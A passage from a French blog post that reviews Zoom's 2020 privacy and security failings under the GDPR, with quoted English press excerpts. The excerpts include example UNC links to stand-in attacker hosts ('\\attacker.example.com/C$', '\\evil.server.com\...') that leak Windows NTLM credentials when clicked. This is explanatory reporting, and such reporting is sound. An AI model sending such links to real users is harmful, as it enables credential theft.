collectées avec précision de l’enregistrement ou toutes\ndiffusions totale ou partielle ultérieures, y compris copies d’écrans (screenshots)\ndes meetings. Rappelons que, s’agissant de données biométriques capables\nd\'identifier des individus, données de catégorie spéciale <strong>art. 9-2 a)</strong> - ceci\nconcerne les données des participants et de toutes autres données personnelles traitées\nlors de la visio-conférence <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a></strong><strong>_] -</strong> les consentements devront être répertoriés\nau registre des traitement conformément à <strong>l’art. 30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_]. La finalité de traitement des\ndonnées des personnes non présentes devra être justifiée distinctement.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Certains participants peuvent souhaiter utiliser des pseudonymes pour une\nraison qui leur appartient et peuvent ne pas souhaiter être exposé au grand\npublic. Une alternative doit leur être proposée.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de transparence – art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ainsi\nque mentionné plus avant, l’organisateur de la visio-conférence ou le ‘host’ se\ndoit de communiquer en toute transparence les règles et cadre de traitement des\ndonnées, avant la collecte et fournir, au préalable, aux participants :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nréalité, il semblerait que de nombreuses applications de visio-conférences manquent\ncruellement de transparence. L\'hôte dispose de multiples capacités et prérogatives\ntechniques qui sont la plupart du temps inconnues aux autres participants\ntelles que l\'enregistrement et leurs diffusions ultérieures. L’<strong>art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong>requiert&nbsp;de fournir à la\npersonne concernée l’ensemble de ces informations :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>l\'identité et les\ncoordonnées du responsable du traitement et, le cas échéant, du représentant du\nresponsable du traitement;</em></li><li><em>les coordonnées du délégué à\nla protection des données, le cas échéant;</em></li><li><em>les finalités du traitement\nauquel les données personnelles sont destinées ainsi que la base juridique du\ntraitement;</em></li><li><em>lorsque le traitement est\nbasé sur <strong>l\'art. 6, paragraphe 1, point f [_</strong></em><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong><em>RGPD06</em></strong></a><strong><em>_] </em></strong><em>les intérêts légitimes\npoursuivis par le responsable du traitement ou par un tiers;</em></li><li><em>les destinataires ou\ncatégories de destinataires des données personnelles, le cas échéant;</em></li><li><em>le cas échéant, le fait que\nle responsable du traitement a l\'intention de transférer des données à caractère\npersonnel vers un pays tiers ou une organisation internationale et l\'existence\nou l\'absence d\'une décision d\'adéquation de la Commission, ou dans le cas de\ntransferts visés aux <strong>art. 46 </strong>[_</em><a href=\"https://awallon.com:15001/d/s/546474562060073206/wCc5NNfuVGtZCEDxxz6BStB9yee9JWnD-pb5gNUiulgc_\"><em>RGPD46</em></a><em>_] ou <strong>47 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474565138692367/ai8ZRfn61YIW-lWc0mQFwXg7c-vpOcqi-574A812ulgc_\"><em>RGPD47</em></a></strong><strong><em>_]</em></strong><em> ou <strong>49 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474569236527405/d3Ss3HULlIGAgfmZOgnP6CNOPXpnNIGb-UL-gP4Wulgc_\"><em>RGPD49</em></a></strong><strong><em>_]</em></strong><em> paragraphe 1, deuxième\nalinéa, référence aux garanties appropriées ou appropriées et aux moyens\npermettant d\'en obtenir une copie ou lorsque celles-ci ont été mises à\ndisposition.</em></li><li>Les droits des participants en vertu des <strong>art. 14 [_</strong><a href=\"https://awallon.com:15001/d/s/546474033709888180/NZ1hg0XLRX1r_mANS3X08rd_LhFLNvCT-yLIgdT6qlgc_\"><strong>RGPD14</strong></a><strong>_]</strong> , <strong>art 15</strong> <strong>[_</strong><a href=\"https://awallon.com:15001/d/s/546474036744467150/dpQYWhIjP2q8K4dCb7E2HguyWsMe9rH5-H7NAm1Oqlgc_\"><strong>RGPD15</strong></a><strong>_]</strong> et notamment leur droit de\nrectification ou rétractation du consentement, leur droit de porter plainte\ndevant l’autorité administrative doivent également leur être rappelés </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>En\nsus des informations visées au paragraphe 1, le responsable du traitement fournit,\nau moment de l\'obtention des données à caractère personnel, aux participants,\nles informations supplémentaires suivantes nécessaires pour garantir un\ntraitement équitable et transparent :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>la période pendant laquelle les données personnelles seront stockées ou, si\ncela n\'est pas possible, les critères utilisés pour déterminer cette période;<ul><li>l\'existence du droit de\ndemander au responsable du traitement l\'accès et la rectification ou\nl\'effacement des données personnelles ou la limitation du traitement concernant\nla personne concernée ou de s\'opposer au traitement ainsi que le droit à la\nportabilité des données;</li></ul><ul><li>lorsque le traitement est\nbasé sur <strong>l\'art. 6</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\">RGPD06</a></strong><strong>_]</strong> paragraphe 1, point a), ou sur <strong>l\'art.\n9</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a></strong><strong>_]</strong> paragraphe 2, point a), l\'existence\ndu droit de retirer le consentement à tout moment, sans affecter la licéité du\ntraitement basé sur le consentement avant son retrait;</li></ul><ul><li>le droit de déposer une\nplainte auprès d\'une autorité de contrôle;</li></ul><ul><li>si la fourniture de données\nà caractère personnel est une exigence légale ou contractuelle, ou une exigence\nnécessaire pour conclure un contrat, ainsi que si la personne concernée est\ntenue de fournir les données à caractère personnel et les conséquences\npossibles de la non-fourniture de ces données;</li></ul><ul><li>l\'existence d\'une prise de\ndécision automatisée, y compris le profilage, visée à <strong>l\'art. 22</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546474473260365314/Hwg6NIl6VN1xY3w84zHV2sUe1MlmQPAP-gbVgu-Kqlgc_\">RGPD22</a></strong><strong>_]</strong> paragraphes 1 et 4, et, au moins\ndans ces cas, des informations significatives sur la logique impliquée, ainsi\nque la signification et les conséquences envisagées d\'une telle le traitement\nde la personne concernée.</li></ul></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Lorsque le responsable du\ntraitement a l\'intention de poursuivre le traitement des données à caractère\npersonnel à une fin autre que celle pour laquelle ces données ont été\ncollectées, le responsable du traitement fournit à la personne concernée, avant\nce traitement ultérieur, des informations sur cette autre fin et toute autre\ninformation pertinente visée au paragraphe 2.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les paragraphes 1, 2 et 3 ne\ns\'appliquent pas lorsque et dans la mesure où la personne concernée dispose\ndéjà des informations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avis de confidentialité\ndoit être remis au moment de la collecte des données, c\'est-à-dire avant l\'heure\nà laquelle les invités entrent en réunion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les périodes de conservation\ndes données doivent être clarifiées et communiquées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L\'exigence de limitation de\nla finalité signifie qu\'il doit être clair sur l\'avis de confidentialité qui\naccède aux données, dans quel but spécifique. Le partage de données avec\nFacebook était contraire au RGPD. Même si le développeur Zoom a modifié cela,\nles utilisateurs doivent mettre à jour leur application.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ces données ne doivent pas\nêtre utilisées à d\'autres fins que celles prévus telles que la formation à la\nreconnaissance faciale sans le consentement des intéressés. Le host est\nresponsable du respect de ces principes et notamment des traitements ultérieurs\npar Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le privacy policy de Zoom a\nsoulevé des craintes justifiées&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://zoom.us/privacy\" target=\"_blank\" rel=\"noreferrer noopener\">Zoom\'s privacy policy&nbsp;</a> claims the right to collect and store personal data\nand share it with third parties such as advertisers.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Jusqu’à ce qu’il soit modifié durant le week-end, pré-daté\nau 18 mars </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>The company&nbsp;</em><em><a href=\"https://zoom.us/privacy?zcid=1231\" target=\"_blank\" rel=\"noreferrer noopener\">updated its privacy policy</a>&nbsp;on Sunday after users reported\nconcerns, and&nbsp;<a href=\"https://twitter.com/ericsyuan/status/1244682869974290433\" target=\"_blank\" rel=\"noreferrer noopener\">on Monday</a>, Eric S. Yuan, chief executive and founder of Zoom, posted a\nlink on Twitter to a company blog item about the policy. <a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NYTimes</a></em></li><li><em>In\na statement for this article, the company said it took “its users’ privacy,\nsecurity and trust extremely seriously,” and had been “working around the clock\nto ensure that hospitals, universities, schools and other businesses across the\nworld can stay connected and operational.”</em><em></em></li><li><em>“We\nappreciate the New York attorney general’s engagement on these issues and are\nhappy to provide her with the requested information,” the statement added.</em></li><li><em>Zoom <strong>privacy\nnotice</strong> grants access to data even though for people who have not a Zoom\naccount</em></li><li><em>Zoom’s privacy policy gives the company rights to collect\npersonal data of people regardless of whether they have a Zoom account. This\ndata they might collect on non-Zoom customers might include their physical\naddress, debit card information and even what device they are using.</em><em></em></li><li><em>They keep the\nright to collect and share information with unspecified third parties in\npresent and in the future.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Privacy by design ou Privacy Enhanced Technology (PET)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\nZoom comporte bien quelques garde-fous de protection mais ils sont désactivés\npar défaut. Aucun traitement ne doit pouvoir être opéré sans transparence ni consentement\nexprimé par acte positif des sujets concernés. En l’occurrence il n’est pas très\nclair quand un enregistrement est effectué ni ses utilisations ultérieures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\ncomportait une option de traçage d’attention ou <em>’attention tracking’</em> qui\npermettait au host de tracer l’attention des participants s’ils venaient à\nvisiter d’autres sites ou basculaient sur d’autres fenêtres. Cette option trop\nintrusive a été désactivée.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Encore\nune fois, une notice de privacy devrait éclairer le consentement requis de la\npart des participants. Il n’est pas activé par défaut sachant que les données biométriques,\nde santé ou relatives à des mineurs sont des catégories spéciales nécessitant\nun consentement explicite.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>A small <strong>red\nbutton when recording</strong> - can be easily missed. There is an option of request\nrecording consent at the beginning – what about the ones joining in in the\ncourse of the meeting? The consent request is OFF by default. <strong>Privacy by\ndesign</strong>: should be ON by default</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de sécurité</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Limiter\nl’accès aux données pour sécuriser le contenu et primordial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Absence de chiffrage ou d’encryption</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le\nchiffrage des communications ou encryptage faisait partie des promesses de Zoom\nmais s’est avéré limité un chiffrage de type browser TLS et non pas UDP comme\nl’a révélé le <a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a><em>.</em> Zoom s’en est excusé et a reconnu\nle manquement. Or, un encryptage end to end est obligatoire pour s’assurer\nde la protection des données d’autant qu’ils peuvent être de catégorie spéciale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, il s’avère\nque les données seraient stockées sur Amazon S3 en texte clair et ne seraient pas\nmême chiffrées. Par conséquent, tout employé ou développeur de Zoom ayant accès\naux compartiments S3 pour les activités de développement et de maintenance\npourrait les intercepter et se les accaparer pour tels traitements éventuels.\nIl n’y a donc aucune véritable confidentialité sur ces enregistrements. Ce problème\nest loin d’être négligeable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La seule barrière entre l’enregistrement privé et public\nest la sécurité du pare-feu Zoom et des autres éléments qu\'ils ont mis en\nplace. Une fois que ceux-ci ont été violés, par exemple par une attaque de\nphishing, les seaux S3 sont un jeu équitable. Un système de cryptage décent sur les\nenregistrements stockés aurait été indispensable ici.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>a Zoom spokesperson wrote, “Currently, it is not possible\nto enable E2E encryption for Zoom video meetings. Zoom video meetings use a\ncombination of TCP and UDP. TCP connections are made using TLS and UDP\nconnections are encrypted with AES using a key negotiated over a TLS\nconnection.”</li><li><em>On 4/3, Citizen Lab&nbsp;</em><em><a href=\"https://citizenlab.ca/2020/04/move-fast-roll-your-own-crypto-a-quick-look-at-the-confidentiality-of-zoom-meetings/\">reported</a></em></li><li><em>Zoom&nbsp;</em><em><a href=\"https://zoom.us/docs/doc/Zoom-Security-White-Paper.pdf\">documentation</a>&nbsp;claims that the app uses \"AES-256\"\nencryption for meetings where possible. However, we find that in each Zoom\nmeeting, a single AES-128 key is used in ECB mode by all participants to\nencrypt and decrypt audio and video. The use of ECB mode is not recommended\nbecause patterns present in the plaintext are preserved during encryption.</em></li><li><em>The AES-128 keys, which we verified are sufficient to decrypt Zoom\npackets intercepted in Internet traffic, appear to be generated by Zoom\nservers, and in some cases, are delivered to participants in a Zoom meeting\nthrough servers in China, even when all meeting participants, and the Zoom\nsubscriber\'s company, are outside of China. </em><em><a href=\"https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html\">Reported by the Security expert Schneier in his blog</a> </em></li><li><em><a href=\"https://blog.cryptographyengineering.com/2020/04/03/does-zoom-use-end-to-end-encryption/\">Does Zoom uses end to end encryption?</a> </em></li><li><em>Warning:\nZoom Makes Encryption Keys In China (Sometimes)</em><em></em></li><li><em>Where is the EU DPA investigation?\nOnce again, Eu personal data is in between China interception and the US Cloud\nAct interception. Data sent outside the EU in China without users knowledge.\n\"As </em><em><a href=\"https://medium.com/hashtag-resist/using-zoom-for-activism-think-about-security-1c4f2903275a\">Citizen Lab</a> hadn’t sent its\nfindings to Zoom, saying it was in the public interest to release the\ninformation as soon as possible, the videoconferencing company wouldn’t have\nbeen aware of the findings. But Yuan assured that if user data was being\ntransferred to China when users weren’t even based there, “we are willing to\naddress that.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On apprend ainsi\nmême que Zoom transfèrerait des données pour encryptage en Chine, ce que le CEO\nn’a pas manqué de reconnaitre, accidentellement a-t-il dit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://theintercept.com/2020/04/03/zooms-encryption-is-not-suited-for-secrets-and-has-surprising-links-to-china-researchers-discover/\">Zoom’s Encryption Is “Not Suited For Secrets” And Has\nSurprising Links To China, Researchers Discover</a><strong> </strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les déboires ne s’arrêtent pas là, 1er Avril une nouvelle est tombée, Zoom\ns’emparerait des passwords sauvegardés par Windows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On\n4/1, we learned that Zoom for Windows can be used to&nbsp;</em><em><a href=\"https://arstechnica.com/information-technology/2020/04/unpatched-zoom-bug-lets-attackers-steal-windows-credentials-with-no-warning/\">steal</a>&nbsp;users\'\nWindow credentials.</em></li><li><em>Attacks\nwork by using the Zoom chat window to send targets a string of text that\nrepresents the network location on the Windows device they\'re using. The Zoom\napp for Windows automatically converts these so-called&nbsp;</em><em><a href=\"https://www.lifewire.com/unc-universal-naming-convention-818230\">universal naming convention</a>&nbsp;strings -- such as \\\\attacker.example.com/C$ --\ninto clickable links. In the event that targets click on those links on\nnetworks that aren\'t fully locked down, Zoom will send the Windows usernames and\nthe corresponding&nbsp;<a href=\"https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-minimum-session-security-for-ntlm-ssp-based-including-secure-rpc-servers\">NTLM</a>&nbsp;hashes\nto the address contained in the link</em>.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le\n2 avril on apprenait que Zoom accèderait à des données personnelles extraites\ndes profiles Linkedin des utilisateurs :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On 4/2, we learned that Zoom&nbsp;</em><em><a href=\"https://www.nytimes.com/2020/04/02/technology/zoom-linkedin-data.html\">secretly displayed</a>&nbsp;data from people\'s LinkedIn\nprofiles, which allowed some meeting participants to snoop on each other. <a href=\"https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html\">(Zoom has fixed this one.)</a></em></li><li><em><a href=\"https://tidbits.com/2020/04/03/every-zoom-security-and-privacy-flaw-so-far-and-what-you-can-do-to-protect-yourself/\">Every Zoom Security and Privacy Flaw So Far, and What\nYou Can Do to Protect Yourself</a> </em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Très vite ont surgi les nouvelles d’intrus s’invitant au milieu des\nmeetings, intrusion qualifiée de ‘ZoomBombing’&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://mashable.com/article/videoconference-crashed-naked-man-privacy/?europe=true\">Naked\nman crashing school\'s video call is a privacy lesson for all</a></em></li><li><em><a href=\"/www.insidehighered.com/news/2020/03/26/zoombombers-disrupt-online-classes-racist-pornographic-content#.Xn26Zv4up1Y.linkedin\">Online Zoom classes were disrupted by individuals\nspewing racist, misogynistic or vulgar content. Experts say professors using\nZoom should familiarize themselves with the program\'s settings.</a></em></li><li><em><a href=\"https://techcrunch.com/2020/03/17/zoombombing/\">Suddenly, dozens of attendees were bombarded with disturbing imagery. A\ntroll entered the call and screenshared Two Girls, One Cup and other horrifying\nsexual videos. Attempts to block the attack were thwarted as the perpetrator\nsimply re-entered the call</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Autre problème éventuellement solutionné par Zoom,\nl’envoi de données à Facebook par utilisation de SDK dénoncé par <a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\">Motherboard</a> :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Last week, after an&nbsp;</em><em><a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\" target=\"_blank\" rel=\"noreferrer noopener\">article on the\nnews site Motherboard</a>&nbsp;reported\nthat software inside the Zoom iPhone app was sending user data to Facebook, the\ncompany said it was&nbsp;<a href=\"https://www.vice.com/en_us/article/z3b745/zoom-removes-code-that-sends-data-to-facebook\" target=\"_blank\" rel=\"noreferrer noopener\">removing the\ntracking software</a>.</em></li><li><em>Zoom, like other apps, uses <strong>Facebook\'</strong>s software development\nkits (SDK) to implement features quickly. In exchange, Facebook gains useful\ninformation about users. As Vice\'s Motherboard explains, Zoom connects to\nFacebook\'s Graph API, which is the way developers get data in or out of\nFacebook.</em><em></em></li><li><em>The Zoom app notifies Facebook when the user opens the app,\ndetails on the user\'s device such as the model, the time zone and city they are\nconnecting from, which phone carrier they are using, and a unique advertiser\nidentifier created by the user\'s device which companies can use to target a\nuser with advertisements.</em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Zoom a bien modifié cette faille invitant les utilisateurs de mettre à jour\nleur Application&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"/winbuzzer.com/2020/03/31/zoom-removes-its-facebook-data-sharing-on-ios-amid-possible-gdpr-violations-xcxwbn\">Zoom Removes Its Facebook Data Sharing on iOS amid\nPossible GDPR Violations</a></em></li><li><em>Zoom has removed its <strong>Facebook SDK</strong> for iOS integration\nafter a report&nbsp;</em><em><a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\">from Motherboard</a>.</em></li><li><em>the developers</em><em><a href=\"https://blog.zoom.us/wordpress/2020/03/27/zoom-use-of-facebook-sdk-in-ios-client/\">&nbsp;in a statement</a>.&nbsp;“Users will need to update to the\nlatest version of our application that’s already available at 2:30 p.m. Pacific\ntime on Friday, March 27, 2020, in order for these changes to take hold, and we\nstrongly encourage them to do so. “</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le <a href=\"https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis\">Electronic Frountier Foundation</a> alerte de ce que les utilisateurs ignorent\ntoujours comment effacer les informations recueillies</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Zoom has not offered guidance on how users can delete any\ninformation that was gathered about their device. This removal also doesn’t\naddress any of the app’s other potential privacy issues.&nbsp;</em><em><a href=\"https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis\">The EFF points out</a>&nbsp;that Zoom administrators can get\ndetailed information about how, when, and where users are using the app, with\nreal-time dashboards. As it’s an intentional feature, it’s unlikely the\ncompanywill address this.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On lit dans le magazine <a href=\"https://www.forbes.com/sites/thomasbrewster/2020/04/03/warning-zoom-sends-encryption-keys-to-china-sometimes/\">Forbes :</a> </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>‘<em>Ultimately,\nanyone having sensitive conversations should therefore consider whether Zoom is\nsuitable, he noted. “I would think very carefully before I used Zoom to\ncommunicate classified information, trade secrets or confidential medical\ndata,” Marczak said. “If you are a human rights defender, lawyer, journalist,\nor anyone else working on sensitive topics that you think a nation-state or\nother powerful adversary might be interested in, I would advise you to wait for\nZoom to make security improvements in their app before you use it.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Apple a introduit\nune mise à jour afin d’éliminer le ‘<em>hidden Zoom web server’</em>&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://bgr.com/2020/04/04/zoom-security-private-video-chats-online/\">Thousands\nof Zoom video calls left exposed on open Web</a></em></li><li><em><a href=\"/techcrunch.com/2019/07/10/apple-silent-update-zoom-app\">Apple has pushed a silent Mac\nupdate to remove hidden Zoom web server</a></em></li><li><em>It appears you can&nbsp;</em><em><a href=\"https://www.bleepingcomputer.com/news/security/zoom-client-leaks-windows-login-credentials-to-attackers/\" target=\"_blank\" rel=\"noreferrer noopener\">snaffle</a>&nbsp;people\'s Windows local login\nusernames and hashed passwords via Zoom by getting them to click on a URL in a\nchat message that connects to a malicious SMB file server. A link such as&nbsp;</em><code><em>\\\\evil.server.com\\foorbar.jpg</em></code><em>&nbsp;will, when clicked\non, cause Windows to connect to&nbsp;</em><code><em>evil.server.com</em></code><em>, supplying the logged-in\nuser\'s credentials in hope of fetching&nbsp;</em><code><em>foobar.jpg</em></code><em>.</em><em></em></li><li><em>Ex-NSA hacker\ndrops new zero-day doom for Zoom. Hot on the heels of two security researchers&nbsp;<a href=\"https://twitter.com/hackerfantastic/status/1245133371262619654\">finding a Zoom bug</a>&nbsp;that can be abused to steal\nWindows passwords, another security researcher found two new bugs that can be\nused to take over a Zoom user’s Mac, including tapping into the webcam and\nmicrophone.</em></li><li><em>Patrick Wardle, a former NSA hacker and now principle\nsecurity researcher at Jamf, dropped the two previously undisclosed flaws&nbsp;</em><em><a href=\"https://objective-see.com/blog/blog_0x56.html\">on his blog</a>&nbsp;Wednesday, which he shared <a href=\"https://techcrunch.com/2020/04/01/zoom-doom/\">with TechCrunch</a>. </em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Bien évidemment\navec le succès galopant de Zoom, on constate une recrue de ‘<em>fake Zooms’</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/\">Researchers\nsee sharp rise in fake Zoom domains as hackers target remote workers</a> </em><em><a href=\"https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/\">https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Transfert de données personnelles\nhors EU/EEA</strong><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom\nest une société basée en Californie. A ce titre il est self certifié Privacy\nShield.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cependant\n<a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a> a révélé le transfert des données\nvers la Chine. Le CEO a reconnu ce fait l’attribuant à une simple erreur d’aiguillage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or,\nnul ne peut ignorer la guerre de l’espionnage industriel. Zoom, comme toute société\naméricaine est sujette au US Cloud Act. Autrement dit à tout moment les données\npeuvent être réclamées par le gouvernement US.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.foxnews.com/tech/coronavirus-crisis-zooms-presence-china-under-scrutiny\" target=\"_blank\" rel=\"noreferrer noopener\">As Usage Booms Amid Coronavirus\nCrisis, Zoom’s R&amp;D Presence In China Under Scrutiny</a> </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Data breach ou accès non autorisé aux données</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout accès non autorisé aux données personnelles doit être évalué quant au sérieux\ndes conséquences potentielles pour les individus concernés. En cas de risque\ngrave, ils doivent être notifiés au plus vite et pas plus tard que <strong>dans les\n72 heures</strong>. L’autorité de protection des données doit être notifié au plus\ntard dans les 72 heures. Dans tous les cas le data breach doit être repertorié\nau registre interne conformément aux dispositions de <strong>l’art. 33 [_</strong><a href=\"https://awallon.com:15001/d/s/546474503562114839/2vQoztRp5iZOj061hTrsbdijXm14s8fR-sruARj6tlgc_\"><strong>RGPD33</strong></a><strong>_]</strong>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Posting <strong>screen shots</strong> de viseo-conference revelat\nle ID number du meeting et les images des participants accompagnées de leur noms\nou pseudonymes peut être considérées comme une rupture de confidentialité</li><li><strong>2 exemples</strong> majeurs récents&nbsp;: <a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Boris Johnson</a> le CNB postant une réunion du\nconseil ou leur AG. </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Le cas particulier de l’usage d’un tel outil par\ndes avocats ou ordre professionnel</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans un contexte ou tant de cris d’alarmes ont été lancés sur les manquements\nde cet outil, comme le New York Attorney General investigations demandant aux écoles\nde ne pas utiliser l’application, suivi par d’autres autorités étatiques.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NY\nAttorney General to look at Zoom </a>&nbsp;:</em></li><li><em><a href=\"https://www.politico.com/news/2020/04/03/multiple-state-ags-looking-into-zooms-privacy-practices-162743\">Multiple\nstate AGs looking into Zoom’s privacy practices</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Utilisation de\nvidéo-conférences pour des tenues d’audience&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le 3 avril, Maitre Aymeric Duhesne du Cabinet Montesquieu a annoncée sur\nLinkedin&nbsp;: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;Avec Le Bâtonnier Stephane Dhonte,\nle greffe du Tribunal de Commerce de Lille Métropole et le juge des référés,\nnous venons de finaliser le test de la 1ère audience en visioconférence comme\nle permet l’ordonnance 2020-304 du 25.03.20. Le Barreau de Lille et ses avocats\nsont force de proposition et de solution immédiatement opérationnelle et\nmarquent ainsi leur détermination à permettre la continuité de l’accès au droit\naux justiciables, particuliers et entreprises, malgré la crise sanitaire. Des\ndossiers pourront à nouveau être entendus dès la semaine prochaine et des\ndécisions 